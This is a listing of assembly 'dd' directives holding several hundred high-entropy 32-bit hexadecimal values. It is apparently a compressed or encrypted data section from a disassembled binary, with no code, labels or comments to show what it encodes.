dd 4414A6B0h, 589F57DEh, 0FB68FF8Ah, 9E44E9B7h, 0C3E93017h
dd 5D894742h, 57B3A72Ch, 0D87FB097h, 9E2853C9h, 8343C3A2h
dd 31042A3Ah, 0E172087Dh, 0E19F6D4Fh, 30187179h, 9791EB88h
dd 7517F153h, 46C57D10h, 2DF712C3h, 0DD04C12Fh, 15A83FE9h
dd 59AC4FBEh, 8995AD4Fh, 4782F77Fh, 0E756427Bh, 0E4937272h
dd 4D0B8D32h, 8CF0EC02h, 3BC86181h, 3D8754E8h, 0F0E90A76h
dd 181323A7h, 9532A10Ah, 0B7BDDCC5h, 40C2FC10h, 458EA815h
dd 0BAA73FC7h, 2001B484h, 0B53D892Ch, 0E92D547Ah, 75E889E4h
dd 0C4011E6h, 7F14EA2Bh, 1D7E3585h, 7BCEA165h, 49C406ECh
dd 3CD8AA4Fh, 460B0174h, 0E37CF73Bh, 0ABA92E32h, 0EB01B006h
dd 0B81B71F8h, 2C3C2010h, 60E231B4h, 74574856h, 7E62C74h
dd 47C133EEh, 36AC3C9h, 51E3A36Ah, 0DDA67B17h, 0C073A341h
dd 0C2685D4Bh, 0DAEB03E0h, 0AD66CDD5h, 20C06A8Dh, 742D0C48h
dd 2DF97EC0h, 184FFC56h, 0B5290B66h, 68C5FB71h, 7E07E1FFh
dd 0E8848AA6h, 0AA2A95D5h, 5688EBB2h, 7CC73BC2h, 0FB573562h
dd 9D10F0E0h, 0ECB74BD8h, 0A51781DFh, 2082BE13h, 0F0254BE6h
dd 9E54E4DFh, 1F6C94EFh, 808686C8h, 1A33F2BDh, 7E7D750Ch
dd 675C4982h, 7441301Ah, 4838A568h, 7FB720BAh, 1436A474h
dd 87477502h, 6B68E34Ch, 9EE8C227h, 48D966DDh, 0C1E4084h
dd 30C8E781h, 0C30C9D0Fh, 4F20EB43h, 77118D8Ch, 1C31F689h
dd 86D9DE8Bh, 5BC3614Fh, 3BAFADE9h, 8528BF6h, 7525E9EBh
dd 1DB93014h, 5F47838Bh, 53579AB2h, 2F530817h, 7F95A274h
dd 0F6A45CDBh, 5DE11417h, 1DB9E23Eh, 0FCDA0575h, 1E7AC10Fh
dd 0BE2AA916h, 2B3FA6FAh, 0F0FAAF0h, 0FF141069h, 6CE81666h
dd 72AA2582h, 12423AACh, 0EF928743h, 31674F08h, 7A26E238h
dd 880A9099h, 0E92ECB10h, 2618FA9Ch, 9E5D2D23h, 637497A1h
dd 0A6DF0490h, 6741E84h, 8040348Dh, 26F2F98h, 0B8B6A60Ah
dd 4E8797B9h, 0D9DB0962h, 0D91C750Fh, 0BE10B42Ah, 0C498B208h
dd 5AEC6839h, 7BEAC25Fh, 3AEB1019h, 6517DB52h, 0B01D2257h
dd 140C4A19h, 8D1DEB05h, 18414004h, 0B08534FFh, 89AB83A8h
dd 0C0C2B1Fh, 2DD17C95h, 1C611FF6h, 84315753h, 4A2EA27Fh
dd 0DD484A4Bh, 0A7543B0h, 9E6A3A96h, 56D7EB1Eh, 3CA1A8F1h
dd 3C2831FBh, 290633C4h, 4D6520F3h, 6DB84195h, 0A2B7419h
dd 7E17D403h, 60E3761h, 0FA2B327Fh, 4851CC54h, 0EB65988Fh
dd 644BD16h, 441F1464h, 13220723h, 8E089A8h, 27914859h
dd 7572958h, 0B2BB5E12h, 12295242h, 0C44120B9h, 870FC13Bh
dd 6F81B56Ah, 833F4FB3h, 7722FB30h, 4E1E745Ah, 0E9D8C88Bh
dd 0E3493DEAh, 6992FEDh, 0F1511822h, 240A8313h, 50EF850Fh
dd 836DA84Bh, 0A84D7EAh, 11CD2274h, 84C3085Ch, 0B9212842h
dd 15C8ED28h, 22A844AFh, 81B02CA5h, 0EFC61CF0h, 67AE2574h
dd 6C11061Bh, 50849CA6h, 0AB84218Ch, 0EB151D49h, 750F87Dh
dd 677B9076h, 0E46F0F6Bh, 0B9D22780h, 77B1985Bh, 5874056Dh
dd 0BBDE888Dh, 11F93E47h, 0B60F60D0h, 2F011C89h, 24063F41h
dd 0E2ED98Dh, 2B586828h, 7803D68h, 0DA0C3617h, 0FC2F0F6Ah
dd 287E8494h, 212C6C42h, 7E0720D0h, 69E4221Ah, 4161135Ch
dd 60053007h, 0F90507A1h, 38C51740h, 5AE8D7D0h, 54909D24h
dd 1CFE5013h, 15E714AEh, 0DB8E54Ah, 0DF73C31Eh, 9F09228Ah
dd 896EA644h, 2491127Ch, 91754898h, 90E70C0h, 9D030201h
dd 5060458h, 708CC06h, 42B10806h, 7D038C89h, 2493AE4Ch
dd 24357E2Fh, 2A14CD27h, 0DCC194D4h, 38766E34h, 89C7A04Ah
dd 7289FC5Bh, 99CAAD2Bh, 0AF05DC08h, 0E3680088h, 3951A96Fh
dd 0FD302D03h, 0C51454A2h, 1146FC46h, 21EA3D12h, 12B785D9h
dd 0BDCBF733h, 86A38ED9h
dd 78B58D17h, 468B0773h, 4C744808h, 32813C06h, 1E042802h
dd 0B2F9140Fh, 0B31F3AE0h, 32286E91h, 2B0781F7h, 46FA2E21h
dd 86047E35h, 9D6DF821h, 0E09FE1ECh, 0FD49BA1h, 82775Eh
dd 15590623h, 3672FFE8h, 0A4FC7629h, 0D9C8C43Ah, 140A383Fh
dd 74E94BAAh, 0FA6ED57h, 0E0FFFBAEh, 547283Ah, 7D3B24C6h
dd 638CA306h, 7412973Dh, 8AC150FDh, 94B74CD5h, 0F93B140Fh
dd 0F95B5E16h, 71EB4BA2h, 7E850C7Fh, 0F4DF70F8h, 0EA78C590h
dd 48F7D397h, 0C7FF5CA5h, 1ADA296h, 4C5CBC46h, 87102425h
dd 576A380Bh, 3E963402h, 0FD2A4ED7h, 8D4158F5h, 504095Ah
dd 8776049Fh, 8EAE05E2h, 6ECC10CAh, 20226184h, 0AA52EB18h
dd 0B44D07A6h, 0FEBE6C09h, 1032A7C7h, 649C88B4h, 3882352Fh
dd 2BB2CA20h, 5423281Fh, 0D3264C4h, 251EC61Ah, 0BDFC35Dh
dd 1E09D7D5h, 0F7C843FFh, 575553D0h, 8B02C256h, 0DE55383Dh
dd 0ABFF97BFh, 3C6CC127h, 0F0E0B528h, 570F6D7h, 19AB060h
dd 1575E88Bh, 0B0D8016h, 0F6FA5C51h, 634103Fh, 0AD98A359h
dd 5572CF20h, 340935AAh, 0A1346272h, 5D5F0F81h, 1286775Bh
dd 65235720h, 96A2845Ch, 6A7A8158h, 24101552h, 1FE01B62h
dd 283D81E9h, 8BB979Eh, 91A57FF9h, 46216554h, 67F04DD0h
dd 6F410FFh, 80612925h, 1EE8E454h, 0AAD23528h, 7FFCCFD2h
dd 0EDA8F051h, 53026A2Eh, 5F245491h, 106C4591h, 3B28CED0h
dd 0DF0251A9h, 35E28607h, 98B6FC64h, 55FF4850h, 7E97F390h
dd 8DF8024Ah, 32FE3F44h, 96BA4514h, 53579305h, 980B1957h
dd 15C4F7D6h, 0E4F513A2h, 0F3B5482Fh, 265D129Ah, 7115AA9Ch
dd 0D244D259h, 5E252C90h, 91B9E3EAh, 0E8140DD4h, 49444588h
dd 93FE2CD7h, 0F93F9EC9h, 11F02CC6h, 362C6F16h, 2FF94253h
dd 0B1DA2918h, 0FC13143Ah, 27D2F64Ch, 49D492F6h, 514A05Ch
dd 0C1DE3B90h, 62FB81EBh, 3558782Eh, 25E83E89h, 0F0719807h
dd 2C6880FDh, 27B9A1D0h, 0DDEF0B4Dh, 0DBFD3924h, 0F8F210BCh
dd 6DEB2482h, 39475FC0h, 72147D0Bh, 8D92E05Ch, 768DA070h
dd 0B9CAB210h, 28B80D87h, 3B91787Fh, 400DC524h, 0C2041B34h
dd 0C68EC06h, 1FF35AA2h, 5B8D17CCh, 2CCB9790h, 1A861609h
dd 762FB43Bh, 55DC09ACh, 14E434C1h, 0FA82AA64h, 208BF124h
dd 0B55390BCh, 0B2D5158Bh, 59597D60h, 3EDF3B8Ch, 4019B191h
dd 2674C72Bh, 0F8E4D2BDh, 1C86C93Bh, 53583066h, 14B7411h
dd 3822CF33h, 2F58E719h, 133917C4h, 64854311h, 0F5D87A27h
dd 2F0359EBh, 2676EC5Eh, 5382FA20h, 1CB008BEh, 8702021h
dd 47C51F35h, 0D807C909h, 274EED78h, 0E0218476h, 0CB0E106Fh
dd 92213318h, 0A05436B0h, 1E58EC22h, 0F84B421h, 9924BB98h
dd 63BF246Eh, 78B7FD9Dh, 269993C4h, 63DCF642h, 7BCDC00h
dd 72EC65C6h, 9CCF0E8h, 4D4DACF8h, 1450DAFCh, 0DC12C751h
dd 57505340h, 0F6E81A2Dh, 42044D46h, 0AA6C383Ah, 4C086993h
dd 0EE4159FDh, 43674412h, 0A0048828h, 2356427Eh, 1558B21Fh
dd 51CD0A1Bh, 12320B6Ah, 0AF6F89ACh, 0B07FCCCh, 79D10352h
dd 1AEB1C34h, 557175Fh, 0F3AA3036h, 71F00842h, 0E00C9543h
dd 15FC8B27h, 0A3091492h, 1CF00810h, 0F0BF5644h, 0F64BAD08h
dd 5370E68Ch, 0E021310Ch, 0CDACDB93h, 0A3DE2843h, 8A0AF627h
dd 642B0870h, 15B032CCh, 88535A15h, 32C0E404h, 32101588h
dd 10496EB7h, 301B4049h, 6CB1128h, 0E510DF07h, 0F4EE13EBh
dd 0E65F314Ah, 3F71A1BFh, 0AB8AB035h, 9C2AE6A7h, 0A1374251h
dd 794CF5E1h, 8C438E14h, 0B9500F21h, 11CCA7F5h, 6778C81Ch
dd 8EF9F8E4h, 8E205358h, 0AFBC0CE3h, 53661428h, 543918B2h
dd 4485910Ch, 8E2C283Bh, 69213C43h, 230F1351h, 0C8249030h
dd 0F4E2543Eh, 2124478Eh, 0A8169014h, 88F443C0h, 3104E428h
dd 211F1BEBh, 73344495h, 0C322D4F0h, 6D5228BCh, 0E53CC853h
dd 982B48DCh, 53425654h, 0C8903823h, 1A51E1DFh, 904C230Fh
dd 5445C8B4h, 91F3EF23h, 64A0C840h, 0C7102A1Dh, 3944E2F3h
dd 47F20C8Ch, 0B09CC81Ah, 5B5F2050h, 6F2CEB26h, 2A525451h
dd 658413C8h, 0B3FAC894h, 6CE814FEh, 92FE9730h, 26510990h
dd 0DF6A2B4Bh, 2C1846B9h, 4346D735h, 1A408914h, 0D5F94EE8h
dd 51B742FDh, 0E8253235h, 9420385Ah, 0F810C972h, 18257F4Ch
dd 0FD3B9CF3h, 25D730Fh, 15746214h, 0A3ECFFBCh, 3C74F409h
dd 5A39663Dh, 1DDC250h, 0C2BC3959h, 84725C10h, 88371A14h
dd 8CF2B9F0h, 38C4715Fh, 7B42E1EAh, 890117F1h, 16A16376h
dd 459A372Ah, 40F41137h, 6419D412h, 78416C1Eh, 0C7F48086h
dd 45FC04h, 5D3B43F8h, 0EBC37214h, 5468243Bh, 158AA133h
dd 0CA461073h, 0C42711Ch, 0B7254C57h, 0FC0EFEFEh, 66F46981h
dd 910E4551h, 0E1D3073Bh, 0FCCB1CF7h, 49297142h, 0F1EE7858h
dd 33201484h, 0F425C2C0h, 5EF18ABAh, 0C4085808h, 109432A1h
dd 770C7BF8h, 0E4F745Bh, 0CF40EA05h, 3148080Ah, 22D0321Fh
dd 13A0353Fh, 850F570Ch, 316849C6h, 0E9D8756Ch, 540A42DDh
dd 2C08D311h, 21C94284h, 88BF1018h, 21B54408h, 0AB1274F0h
dd 7CC2072Bh, 0C82D28B1h, 5C77BE38h, 0D39C61Ah, 68787585h
dd 8F1C08D8h, 0A20C0A4h, 90228542h, 0F67EEB3Bh, 0F97707A1h
dd 29700840h, 0BFAEC5B9h, 270D30BFh, 0DC17AD2Dh, 84CC4852h
dd 0C60B0615h, 0C432750Eh, 4C497365h, 70F2E84h, 47ACC845h
dd 2050E43Eh, 0A1CA2D37h, 0F69D2B2Eh, 0A1F5917h, 0A5CA5725h
dd 3043E029h, 0DD1A1DA1h, 13074210h, 78724041h, 0F0D88E2Eh
dd 310FB8CDh, 9A63C27h, 0AF17F7E8h, 760BF430h, 0BCA2AA9Bh
dd 65AA564Bh, 0F86B48F5h, 3E920324h, 0BE5BD8AAh, 62EE79E5h
dd 24FEF830h, 10E3A989h, 1042113Ch, 0E8315631h, 0A45617FCh
dd 433C8C61h, 3100F7Bh, 0D01274C0h, 0D76A8B25h, 645F8544h
dd 0BE142F30h, 0B572BD98h, 7C82BC79h, 0C8171397h, 8D71290Ch
dd 0DF5130A1h, 947C27C4h, 59C9CA28h, 0F2E2A729h, 0EE392A24h
dd 0C68B2731h, 9E6DF92Bh, 6A9CA5EFh, 41151F8h, 380E6511h
dd 5F025F23h, 9316F83Eh, 70088022h, 13104336h, 31092974h
dd 736C550Ch, 4D830601h, 4EB02F8h, 0FD1CC438h, 0AE556756h
dd 0C932F640h, 2AF011C0h, 653F74EEh, 5029056Bh, 6AD38C05h
dd 94AF494Bh, 8DA2FB86h, 0AD25FF4Fh, 0D4718BAh, 0B936ABF3h
dd 2126B388h, 0B01DFCB4h, 697409A1h, 47AE66F7h, 5A592C61h
dd 76046806h, 3DE82D12h, 0FD536E91h, 74D0920Fh, 7A6AE7AEh
dd 402D2D48h, 6A8C74Ch, 6C950128h, 431551F9h, 6E9DE17Bh
dd 0BFD702F8h, 2E8ACCC9h, 424B53D6h, 0F512FEF2h, 58B78FCCh
dd 0A644C8BAh, 41412B2h, 0CC0C3288h, 0B5FF180Dh, 86A55DCh
dd 2ED372A4h, 0D2F89A0Dh, 9224A808h, 207415FEh, 0B95F0C8Dh
dd 0C4297B0Bh, 35AA2D43h, 0D0300E62h, 4D0809FDh, 0B3A4912h
dd 1F4BF9DFh, 21751668h, 3A15A2A7h, 0FAB0C861h, 0ABC70112h
dd 46EE4388h, 0D612A814h, 0B8415EBh, 8BE83D30h, 6CB19F19h
dd 19F0591Dh, 797FFAE6h, 4639925Ah, 0B1BE91Bh, 0E6837284h
dd 7E1F0FF9h, 516800B6h, 89F922B5h, 0EC7B40A5h, 0B9088CCDh
dd 0F67AE1E9h, 6EFA27CBh, 7B984572h, 2621A5B3h, 0A243689Bh
dd 0F72D4A8Ch, 0C294AA69h, 92517F32h, 14E3E884h, 23C2E3AFh
dd 0AE2C34F8h, 86D061E3h, 29E83E40h, 0B2CBED78h, 1892F032h
dd 150DD655h, 0DA841DF4h
dd 0C4BE25FDh, 0AB3E2485h, 0B17644E0h, 0F189B7Ah, 8281C422h
dd 1160375Fh, 0A1959018h, 254371B0h, 1220C1ECh, 0F422FC2Bh
dd 2F5EEDBAh, 8AFD090Ch, 757A174Dh, 16642BDAh, 178B5626h
dd 48E9093Dh, 0F1DDC23Ah, 0C3ADAFh, 0A0F11492h, 21A3772Dh
dd 0C25DB0Ch, 74E8F2Bh, 0DCB04DDAh, 0C216680Dh, 1EE9E852h
dd 0F2A4417Ch, 7314F5A5h, 44188881h, 1DDEE834h, 343E04C7h
dd 4FEC22C2h, 571C6A83h, 221922E1h, 39F65435h, 31643531h
dd 0BC60267Eh, 4DFC9713h, 0C2AB52C5h, 270877A8h, 1818FB0Bh
dd 0A83B46B2h, 0A6DA7C26h, 5F53528Eh, 596BB98Ch, 3BA1BDECh
dd 49EC7E03h, 37B87E68h, 0DAF2A782h, 5D6A030h, 0A0E8167Eh
dd 0F7DDFB13h, 14F6E47Eh, 3B471F03h, 0DAEA7CFEh, 0E4FC8B24h
dd 58DB8CC9h, 0FC38D757h, 122CAA4Eh, 0C857A262h, 0AB34BE1Ch
dd 0EC56FA88h, 7D8B26B6h, 11942111h, 21BB4267h, 3A3D640Ch
dd 0CE7A4021h, 0C10C5377h, 4D12F885h, 0F37EF46Ah, 5F6879Ch
dd 44842208h, 2D5B6D93h, 4E312EC4h, 302217F2h, 0B12C8A1h
dd 3B17CBC5h, 48D44875h, 0B05689B7h, 4B505734h, 0F627EBBEh
dd 0E8A1BFDFh, 11645194h, 496FBD83h, 728604E3h, 74451447h
dd 221ECBC3h, 0F89F7C12h, 0EEBE4BE2h, 0E0F0024h, 0C863CF02h
dd 5CEB8A8Ch, 0C60A4427h, 1081B6BBh, 85A184Ch, 84BE3E75h
dd 51203C45h, 0AC2E7505h, 8052C850h, 1632344h, 117C2121h
dd 0CA028F13h, 64BDD344h, 7A5470D8h, 773C6885h, 8A1614E3h
dd 11BE840Ah, 16C1122Fh, 1C127F6Bh, 0A7DDEC56h, 5265C01h
dd 480DD104h, 0F0CF939Ch, 8302C8BAh, 7664FE09h, 210A7025h
dd 88887750h, 4580A0B1h, 0CC123E48h, 652904B9h, 1AEB0A5Ch
dd 3F62DB25h, 5710D43Ah, 17312851h, 0EC1518C3h, 765E0D2Dh
dd 25AF6E1Fh, 4E086AF9h, 3748212Bh, 2970E21Fh, 27507355h
dd 0C090254Ch, 0A7D4DD8Ah, 8D187401h, 0FE62C886h, 9A3A934Bh
dd 25EDBD9Ch, 6AA7259h, 8E8B0EEBh, 899531D4h, 0C27A8948h
dd 0BAD68BDh, 14C61583h, 721BB547h, 0A90E3AC7h, 0C3BF048Dh
dd 62D88514h, 107DF849h, 6A4873D6h, 32D10112h, 0D5BAC35Dh
dd 0B88811CDh, 2AC4E5ACh, 6B2F4832h, 45EBDD10h, 0B0894680h
dd 49642BB5h, 88AFE84Eh, 0CCD189DCh, 0D87C600Eh, 0B756066Ah
dd 7FAD74DCh, 742DEE16h, 598ED5Fh, 0FCD44D8Bh, 0A492D28Bh
dd 0A22D5B1h, 468E3E74h, 58F6D869h, 0B408BFC1h, 5410CC38h
dd 97B65077h, 31310F5Eh, 0E008FF4Ch, 76BDA998h, 3AE843DDh
dd 1325FD95h, 7AE26CDBh, 93A2A94Eh, 0BB0685EAh, 301C3AB7h
dd 5DF22001h, 0F3EECEA6h, 8A505940h, 445FCC0Bh, 83C7121Bh
dd 33B498A0h, 57D4ADCBh, 0D00F9AC7h, 901FD0FEh, 1B682277h
dd 796E11F9h, 0DE425059h, 935957DCh, 4AC5406Ch, 1232BF27h
dd 32DE57F8h, 68029E68h, 0D74142E2h, 3B893D5Bh, 0B83C8C7h
dd 0A0044AEBh, 391ED659h, 0F7D3F47Dh, 4E7907CAh, 894A44B3h
dd 0B25489BBh, 0DFE08438h, 0D3B4E84Bh, 0E85B810Dh, 4F0B7FABh
dd 0A458A888h, 3DE91229h, 0C2A3DDFFh, 0A3F02017h, 0F8962DEDh
dd 47A909D5h, 49E6A6A7h, 748A6D45h, 2F31EA07h, 552005EBh
dd 0D0DC9703h, 0F9B3EC67h, 0F6AF850Bh, 7D14C921h, 867E004Ah
dd 43FA3D13h, 19850FCFh, 6512995Dh, 0F80E802Fh, 0EC201E1Fh
dd 42C3259Ch, 0A3C434A5h, 66530236h, 5F7B80A1h, 72CE197Ch
dd 0E415304Bh, 6A17C65Ch, 74695801h, 5A4E7737h, 0EC93E994h
dd 3CC46EB8h, 0ED054E7Bh, 66880F0Ch, 0CBB80D98h, 846C75BBh
dd 6827200Dh, 1EA37AC8h, 0B7E834ACh, 0D21A7517h, 273CEC61h
dd 131E617h, 41AF0CECh, 0EAC3756Ah, 3BFFD95Dh, 65ACB42Bh
dd 95F2AE47h, 0B032066Ch, 4A997A53h, 0AD88DFAh, 7A60C4A0h
dd 82981832h, 0A0AF0CF8h, 2A9A1A14h, 80771F79h, 0D37A3082h
dd 42A7AF0Ch, 4536E570h, 48634208h, 0CE04D729h, 78C5C964h
dd 0EC0664E0h, 0F1C9EA16h, 0F6BAD5D3h, 69C4FD1h, 49A9F57h
dd 0F0126E44h, 0CBA37A74h, 0AA82732Dh, 42C6D0B6h, 28EB642Dh
dd 0C7480ECEh, 48027551h, 1508A8B1h, 0A0843EEDh, 0A86A3411h
dd 0B1E4C811h, 1F856960h, 0AE5908C6h, 0E994D344h, 69207DCDh
dd 43DB2D33h, 8082A5C8h, 183EFB8Bh, 1032BFF8h, 7C018366h
dd 5924FE47h, 1E8D6475h, 6A75E9C6h, 0EAD18F05h, 36968CEAh
dd 0D08890A7h, 78906778h, 0CE191059h, 0EC91140Eh, 0CF088F37h
dd 258E2068h, 4B6028C6h, 825876FCh, 0FBF889D8h, 25FE246Dh
dd 7E9D1D46h, 0E2402431h, 3A107854h, 5B4C840Bh, 0A410B256h
dd 21352416h, 5F571907h, 0E3C21175h, 0D8125AB2h, 71404E2Ah
dd 5022055h, 0F84FB9FCh, 556C9F4h, 268A15C2h, 215C53C8h
dd 9FE27D88h, 53421C12h, 5030E0E2h, 2077867Dh, 0A722184h
dd 100EE059h, 5DC80A54h, 0F178E0E4h, 0E021E247h, 0D1678988h
dd 85751F53h, 0BCA55310h, 0B19C42F3h, 880C7CD0h, 58D608EFh
dd 38A82209h, 76D07C43h, 7A09B185h, 0C24E23A3h, 600A66E6h
dd 5EE42226h, 0ED845749h, 8471ACBFh, 0E4D4D4B6h, 93AEA99h
dd 65B3E7A8h, 889E1F43h, 84041175h, 21AA7BC8h, 360EAB4Eh
dd 0B17B43F5h, 221BE1D3h, 4F5936Bh, 0A1917210h, 971C6C1Ch
dd 41B3E504h, 0E96B34AEh, 1E00E1Fh, 5E98543Ch, 0FB80A791h
dd 7F9A2F91h, 56F3BE06h, 9AE3C468h, 0F3F295BEh, 22EB366Ch
dd 0E04286BCh, 97862529h, 0FBC8AF20h, 0BF1095B4h, 63517503h
dd 3265A60Fh, 0F7E6F342h, 2143DABBh, 0DE0F1CBh, 0CCD13067h
dd 203C07F2h, 5905659Fh, 6DD1C3FEh, 7585B082h, 34933D78h
dd 427B8488h, 50290820h, 4C5F4C99h, 81CD8B4h, 85A922E3h
dd 617C5319h, 0C8E046A6h, 9360493Eh, 0B8B55B40h, 0E10FC4B4h
dd 0A4B939C2h, 84076817h, 110DC146h, 935CA93Bh, 0D1300CB2h
dd 0C453BA9h, 5B58CCD5h, 0C9C50BBFh, 33CADFC4h, 48363E86h
dd 0DD7C457Bh, 0DD38F8h, 448DED6Ah, 24A31237h, 8F4A7E24h
dd 450A0147h, 11179E08h, 6A58003Dh, 68C72B74h, 3920B2C0h
dd 2161A353h, 6D0827E8h, 74527FEFh, 1A6A7DB1h, 243EC91Bh
dd 34143D6Ah, 1E041934h, 50C0726h, 1014D7CAh, 1D07F788h
dd 0A1786503h, 11223956h, 0C41807E5h, 57104A44h, 295121DBh
dd 1D25D226h, 68F30638h, 56094F49h, 0D707C1E8h, 0F49560ECh
dd 3208C5AFh, 0A856FBFBh, 93BC7145h, 6BE8E6D6h, 9F4C588Eh
dd 28D72E05h, 74A77F2h, 203794EAh, 5645EBF6h, 6DC535CCh
dd 5E014F05h, 8D61D37Ch, 2EFE06F0h, 0ADAC33C8h, 0C3CAF36Bh
dd 73F2588Eh, 0BF7C2D81h, 0E76385B7h, 42242C4Fh, 0DE5F5EC7h
dd 4CBD3B8Ah, 0C9840400h, 0B8410175h, 22A1B9D3h, 25BD32Bh
dd 315539Fh, 0CF778DD4h, 0F07D14AAh, 0D50E4534h, 5C0A9E09h
dd 75D25AB1h, 0C58942D0h, 40BE562Eh, 1E76D631h, 0C148C28Bh
dd 4A3C33FBh, 0D048A60Ch, 814A2310h, 3DC28112h, 5251614Fh
dd 0C25D99E8h, 0C429B354h, 9BE903DEh, 8A537F01h, 46B6081Dh
dd 0A0C9F2C3h, 0D28510EDh, 8A1C0376h, 0C3323904h, 410A9522h
dd 0DA9CB40Dh, 0BF3E8686h, 0E4192ADCh, 2E5088D8h, 96A2277h
dd 7DA86815h, 8847E176h, 0CC13B5A6h, 0E80DB930h, 0F106622Fh
dd 0EB15851Dh, 8FC2EA21h, 66229090h, 0A99EFE89h, 3F08A323h
dd 8117518Eh, 2645A920h, 9317614h, 93D60855h, 380C8A00h
dd 0EA88CB32h, 0A8405006h, 9725B14h, 1B0BFCA9h, 0D0C2B489h
dd 9F69E45Fh, 0F0BF47Ch
dd 47DC4805h, 35689F3Dh, 0EB24EE7Ch, 0F7164A4Bh, 3C8FC9BFh
dd 85B849FEh, 0F9A3868Dh, 4F1DCC10h, 831C2180h, 0EF16F4A6h
dd 0D0A8DDBBh, 3C896F07h, 203166D0h, 0D8058FFh, 0D4221442h
dd 6C0B5E5Fh, 0C9A54DC3h, 9F9E0470h, 15E827D6h, 0EC789F44h
dd 6A3664Eh, 556DAB5Bh, 0E097A83Ah, 85437E84h, 0C4F81A16h
dd 9723AA4Eh, 3C62ACC8h, 97619E6h, 1AD6BE5Eh, 562D2F12h
dd 6057B055h, 9DAB15Eh, 65D5042Eh, 0DCD2E29Dh, 81244881h
dd 771C23C6h, 0C91DFE48h, 243A52B0h, 2A215553h, 0E425B014h
dd 0F33B09EDh, 0D67C737Eh, 4C6B7D62h, 2FA39033h, 0C879BE8Dh
dd 0CABC3717h, 4703EAD7h, 0AE894501h, 0E0D0452Ah, 6A9C89Eh
dd 0D4EF15CCh, 0FE2C86B3h, 10AB744Bh, 0D42221ABh, 0A1148840h
dd 424DE006h, 8D0ADD6Dh, 1635D8B6h, 9A99BF1Fh, 775F1EE8h
dd 5D5E178Bh, 101E245Bh, 0FEF5E884h, 0C361730Ah, 10E48A7h
dd 12B8AF43h, 0D2E2E2E0h, 0AB7094FFh, 5D898001h, 884CBEFCh
dd 1930F146h, 1A752708h, 39ECF950h, 7D973E4Ch, 0E58DF7Ch
dd 49182967h, 3026039Eh, 43104B21h, 26ABBC11h, 0DFA742CFh
dd 23B9F919h, 3B110BF7h, 81670954h, 0C1814065h, 0F9622747h
dd 0E92686B8h, 0AAD2E43Fh, 312D8221h, 9A09EB3Bh, 42219111h
dd 0FC612259h, 8A95D31h, 20606DCBh, 0AEB724B4h, 5E8A404h
dd 88536CA5h, 0FC4BD320h, 7ECDCCFEh, 6CF21D4Bh, 6806F497h
dd 0BA7EAC24h, 56027442h, 192DCD7Dh, 9438901Fh, 4E6958C8h
dd 0DF22E114h, 0FFDAF3B1h, 1FF2FEFCh, 0D35F8BC6h, 62FD1AB5h
dd 89ECF192h, 0C8138889h, 0DFC80C2Dh, 0C21383Bh, 0C8D490D0h
dd 91FCBDD8h, 4242BEB0h, 6C541CBh, 403BBAEEh, 0FCE14BEBh
dd 806062E1h, 128A2E0Ch, 59740154h, 0D52AF980h, 3F0A922Ch
dd 5B0AA319h, 3A254C06h, 8FB062CAh, 0ABA1F65Bh, 50460A88h
dd 0D2FE0812h, 18554E9Ch, 0D111EBF7h, 0E814152Dh, 4E8B12D0h
dd 4346F386h, 0CF0E8A2Eh, 9EBA485h, 11205E0Ah, 0B2CAF728h
dd 12130EF2h, 0CB3588B1h, 9350AE1h, 13745DF6h, 572509C9h
dd 8AC91D9h, 0C04D6925h, 7210AF0h, 8040F87Dh, 0AEA16B39h
dd 0BE410675h, 0A4CF90Ch, 8A2C600Fh, 66FB8019h, 2D396C5Dh
dd 7907484Ch, 2D1C9FF1h, 718D2880h, 0FB498A01h, 3A06CCh
dd 3C1C7DC8h, 3918745Dh, 133C92EFh, 3973A3ACh, 3A078A1Bh
dd 40147CD9h, 89107FD8h, 0B98C3251h, 18FAF0F3h, 0C4037533h
dd 55029247h, 197E7928h, 31F89AAAh, 8BCA8425h, 31C12BC8h
dd 64F33BF9h, 0F9FF51BCh, 86C92643h, 87A4D6E8h, 6E98FF4Bh
dd 969806FFh, 8A16EB02h, 42FA8010h, 0A3C40E25h, 6817752Ah
dd 19A4A815h, 0D38B340Fh, 8EF64B97h, 0EFEBE20Fh, 0E568FF40h
dd 80F8F281h, 3A118A24h, 0F81575D3h, 322DF918h, 9196A32h
dd 5DC5F808h, 7221F0ACh, 4F427E2Dh, 6804070Bh, 0BA768DEBh
dd 820D3663h, 0CC0E6E20h, 81030949h, 7D26EA75h, 36060F11h
dd 975D44E8h, 65055339h, 9A8CA617h, 70C6750Dh, 0F50DA59Bh
dd 13B7AAB4h, 0AFA4FA48h, 0CE899D35h, 1E43BD2Eh, 0D2A58DE0h
dd 2A424587h, 72FFA24Bh, 3D529D1Bh, 79827F5Bh, 62D5562Ah
dd 0F4E0E44Dh, 64C30878h, 812080E0h, 4BA70DEBh, 28F6DB22h
dd 99F537Ah, 0A3783026h, 0F4B99AD4h, 4106A2A1h, 3EDFD81h
dd 9EF405C1h, 1650E126h, 6D10F8C1h, 0A65C9E25h, 0C126B50h
dd 6185D6D2h, 0A7434755h, 446C548Ah, 0FA8301F9h, 0F72D7204h
dd 3E1DCD9h, 2B00747Fh, 470788D1h, 90FA7549h, 9FFEB778h
dd 88100F4Ch, 0E26083CAh, 7402E90Ch, 0ABF33706h, 4A496C77h
dd 5F7F2A8Bh, 0A6CCEA7Bh, 57DA8901h, 0C8899A25h, 6AD8104Dh
dd 0D17280FBh, 0FE3BC603h, 0C120F576h, 7882240Fh, 0C7F78403h
dd 1443A403h, 98A599DBh, 4A7208F9h, 24C50029h, 41553895h
dd 0BA50DC92h, 0E950831Dh, 0E39D0C8Eh, 9C8E3C3h, 54508530h
dd 4846DDD4h, 1190673Fh, 6099F8CCh, 9918C0Bh, 0D1230AB0h
dd 12BA8D8Ah, 0F4BB0146h, 0AFDB02E7h, 0C6B42012h, 0CC5DC754h
dd 498D8A85h, 262E522Ch, 0CC8376D0h, 5216A622h, 46322490h
dd 1A854745h, 2F40388Ch, 91C0FCCh, 120C8914h, 4CFC2504h
dd 0EC09F484h, 8E09818Ah, 8FD189E4h, 0E81122D3h, 2EEC12E9h
dd 0E9F02291h, 912EF412h, 12E9F822h, 8D872EFCh, 3182E04h
dd 0F8E4F003h, 144F0A91h, 9508CF1h, 1570895Ch, 0FA49D1F9h
dd 219E9029h, 0C8FAC80Ch, 0ABA46812h, 0A30B6A0Eh, 748D062Ch
dd 7C3AD031h, 0C8804939h, 0FD0D7024h, 88FCE4A1h, 4956D0F1h
dd 9E66060Ah, 0A9F0E980h, 62F94490h, 55D8102Bh, 56D02286h
dd 819E866h, 9306C13h, 3B9003DCh, 4E59E0DDh, 57424FB3h
